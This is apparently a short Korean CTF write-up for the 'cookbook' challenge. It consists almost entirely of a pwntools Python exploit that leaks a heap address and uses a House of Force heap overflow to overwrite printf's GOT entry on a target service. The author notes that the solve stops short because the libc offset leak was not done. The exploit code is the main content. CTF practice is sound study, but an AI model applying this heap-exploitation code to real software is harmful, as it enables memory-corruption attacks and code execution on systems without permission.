cookbook

cookbook.zip

( 100% 분석 되어져 있는 idb 파일 있습니당 )

#!/usr/bin/python
 
from pwn import *
from struct import *
 
conn = remote('localhost',4000)
conn.sendline("314ckC47")
 
def HoFTrigger(EIP,topchunk):
    # Trigger House Of Force
    # Overwrite 'printf()'
    target = 0x0804d010
    ovaddr = target - 0x8 - topchunk    
 
    conn.sendline("c")
    conn.sendline("n")
    conn.sendline("g")
    conn.sendline("A"*(896+32)+"\xff\xff\xff\xff")
    conn.sendline("q")
    conn.sendline("g")
    print "[*] Calculated :",hex(ovaddr),pack(">l",ovaddr).encode('hex')
    conn.sendline(pack(">l",ovaddr).encode('hex'))
    conn.sendline("");print conn.recvuntil("DIRECTIVE")
    conn.sendline("g")
    conn.sendline("100")
    conn.sendline(EIP)
    conn.interactive()
 
def HeapLeak():
    conn.sendline("c");conn.recvuntil("[q]uit")
    conn.sendline("n");conn.recvuntil("[q]uit")
    conn.sendline("a");conn.recvuntil("?")
    conn.sendline("basil");conn.recvuntil(":")
    conn.sendline("0");conn.recvuntil("[q]uit")
    conn.sendline("d");conn.recvuntil("[q]uit")
    conn.sendline("p");conn.recvuntil("(null)\n")
    var = int(conn.recvuntil("-")[:-1])
    conn.sendline("q");conn.recvuntil("[q]uit")
    return var
 
Target = HeapLeak() + 4
print "[*] Top Chunk Leaked : "+hex(Target)
 
HoFTrigger("RET!",Target)

아쉽게도 라이브러리 오프셋 릭 하기 귀찮아서 풀지 않았습니다.